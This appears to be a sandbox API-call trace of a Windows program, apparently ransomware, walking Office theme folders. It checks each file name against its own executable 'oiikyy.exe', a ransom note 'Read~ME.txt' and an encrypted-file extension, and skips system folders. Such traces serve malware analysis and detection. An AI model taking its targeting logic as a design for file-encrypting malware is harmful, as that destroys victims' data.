	[0078.604] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.604] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.604] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.604] GetCurrentThreadId () returned 0x618
	[0078.604] RtlWakeConditionVariable () returned 0x365f48
	[0078.605] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1
	[0078.605] lstrcmpiW (lpString1="SLATE.ELM", lpString2="Windows") returned -1
	[0078.605] lstrcmpW (lpString1="SLATE.ELM", lpString2="oiikyy.exe") returned 1
	[0078.605] StrStrW (lpFirst="SLATE.ELM", lpSrch=".~~~~") returned 0x0
	[0078.605] lstrcmpW (lpString1="SLATE.ELM", lpString2="Read~ME.txt") returned 1
	[0078.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.605] GetCurrentThreadId () returned 0x618
	[0078.605] RtlWakeConditionVariable () returned 0x365f48
	[0078.605] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1
	[0078.605] lstrcmpiW (lpString1="SLATE.INF", lpString2="Windows") returned -1
	[0078.605] lstrcmpW (lpString1="SLATE.INF", lpString2="oiikyy.exe") returned 1
	[0078.605] StrStrW (lpFirst="SLATE.INF", lpSrch=".~~~~") returned 0x0
	[0078.605] lstrcmpW (lpString1="SLATE.INF", lpString2="Read~ME.txt") returned 1
	[0078.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.605] GetCurrentThreadId () returned 0x618
	[0078.605] RtlWakeConditionVariable () returned 0x365f48
	[0078.605] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.605] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.605] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.605] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.605] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.605] GetCurrentThreadId () returned 0x618
	[0078.606] RtlWakeConditionVariable () returned 0x365f48
	[0078.606] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.606] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.606] GetCurrentThreadId () returned 0x618
	[0078.606] RtlWakeConditionVariable () returned 0x365f48
	[0078.606] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0078.606] lstrcmpiW (lpString1="SONORA", lpString2="Windows") returned -1
	[0078.606] lstrcmpW (lpString1="SONORA", lpString2=".") returned 1
	[0078.606] lstrcmpW (lpString1="SONORA", lpString2="..") returned 1
	[0078.606] lstrcmpW (lpString1="SONORA", lpString2="AppData") returned 1
	[0078.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA", lpSrch="AppData") returned 0x0
	[0078.606] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.606] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA", lpString2="C:\\Windows") returned -1
	[0078.606] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.606] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA", lpString2="C:\\System Volume Information") returned -1
	[0078.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.650] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.650] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.650] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.651] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.651] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.651] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.651] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.651] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.651] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.651] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.651] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.651] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.651] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.651] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.651] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.651] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.651] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.651] GetCurrentThreadId () returned 0x618
	[0078.651] RtlWakeConditionVariable () returned 0x365f48
	[0078.651] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1
	[0078.651] lstrcmpiW (lpString1="SONORA.ELM", lpString2="Windows") returned -1
	[0078.651] lstrcmpW (lpString1="SONORA.ELM", lpString2="oiikyy.exe") returned 1
	[0078.651] StrStrW (lpFirst="SONORA.ELM", lpSrch=".~~~~") returned 0x0
	[0078.651] lstrcmpW (lpString1="SONORA.ELM", lpString2="Read~ME.txt") returned 1
	[0078.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.651] GetCurrentThreadId () returned 0x618
	[0078.651] RtlWakeConditionVariable () returned 0x365f48
	[0078.651] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1
	[0078.652] lstrcmpiW (lpString1="SONORA.INF", lpString2="Windows") returned -1
	[0078.652] lstrcmpW (lpString1="SONORA.INF", lpString2="oiikyy.exe") returned 1
	[0078.652] StrStrW (lpFirst="SONORA.INF", lpSrch=".~~~~") returned 0x0
	[0078.652] lstrcmpW (lpString1="SONORA.INF", lpString2="Read~ME.txt") returned 1
	[0078.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.652] GetCurrentThreadId () returned 0x618
	[0078.652] RtlWakeConditionVariable () returned 0x365f48
	[0078.652] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.652] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.652] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.652] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.652] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.652] GetCurrentThreadId () returned 0x618
	[0078.652] RtlWakeConditionVariable () returned 0x365f48
	[0078.652] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.652] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.652] GetCurrentThreadId () returned 0x618
	[0078.652] RtlWakeConditionVariable () returned 0x365f48
	[0078.652] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0078.652] lstrcmpiW (lpString1="SPRING", lpString2="Windows") returned -1
	[0078.652] lstrcmpW (lpString1="SPRING", lpString2=".") returned 1
	[0078.652] lstrcmpW (lpString1="SPRING", lpString2="..") returned 1
	[0078.652] lstrcmpW (lpString1="SPRING", lpString2="AppData") returned 1
	[0078.653] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING", lpSrch="AppData") returned 0x0
	[0078.653] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.653] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING", lpString2="C:\\Windows") returned -1
	[0078.653] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.653] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING", lpString2="C:\\System Volume Information") returned -1
	[0078.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.663] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.663] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.663] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.663] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.663] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.663] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.663] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.663] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.663] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.663] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.663] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.663] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.663] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.663] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.663] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.663] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.663] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.663] GetCurrentThreadId () returned 0x618
	[0078.664] RtlWakeConditionVariable () returned 0x365f48
	[0078.664] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1
	[0078.664] lstrcmpiW (lpString1="SPRING.ELM", lpString2="Windows") returned -1
	[0078.664] lstrcmpW (lpString1="SPRING.ELM", lpString2="oiikyy.exe") returned 1
	[0078.664] StrStrW (lpFirst="SPRING.ELM", lpSrch=".~~~~") returned 0x0
	[0078.664] lstrcmpW (lpString1="SPRING.ELM", lpString2="Read~ME.txt") returned 1
	[0078.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.664] GetCurrentThreadId () returned 0x618
	[0078.664] RtlWakeConditionVariable () returned 0x365f48
	[0078.664] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1
	[0078.664] lstrcmpiW (lpString1="SPRING.INF", lpString2="Windows") returned -1
	[0078.664] lstrcmpW (lpString1="SPRING.INF", lpString2="oiikyy.exe") returned 1
	[0078.664] StrStrW (lpFirst="SPRING.INF", lpSrch=".~~~~") returned 0x0
	[0078.664] lstrcmpW (lpString1="SPRING.INF", lpString2="Read~ME.txt") returned 1
	[0078.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.664] GetCurrentThreadId () returned 0x618
	[0078.664] RtlWakeConditionVariable () returned 0x365f48
	[0078.664] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.664] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.664] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.664] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.664] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.665] GetCurrentThreadId () returned 0x618
	[0078.665] RtlWakeConditionVariable () returned 0x365f48
	[0078.665] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.665] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.665] GetCurrentThreadId () returned 0x618
	[0078.665] RtlWakeConditionVariable () returned 0x365f48
	[0078.665] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0078.665] lstrcmpiW (lpString1="STRTEDGE", lpString2="Windows") returned -1
	[0078.665] lstrcmpW (lpString1="STRTEDGE", lpString2=".") returned 1
	[0078.665] lstrcmpW (lpString1="STRTEDGE", lpString2="..") returned 1
	[0078.665] lstrcmpW (lpString1="STRTEDGE", lpString2="AppData") returned 1
	[0078.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE", lpSrch="AppData") returned 0x0
	[0078.665] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.665] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE", lpString2="C:\\Windows") returned -1
	[0078.666] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.666] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE", lpString2="C:\\System Volume Information") returned -1
	[0078.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.702] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.702] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.702] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.702] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.702] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.702] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.702] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.702] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.702] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.702] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.702] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.702] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.702] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.702] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.702] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.702] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.702] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.703] GetCurrentThreadId () returned 0x618
	[0078.703] RtlWakeConditionVariable () returned 0x365f48
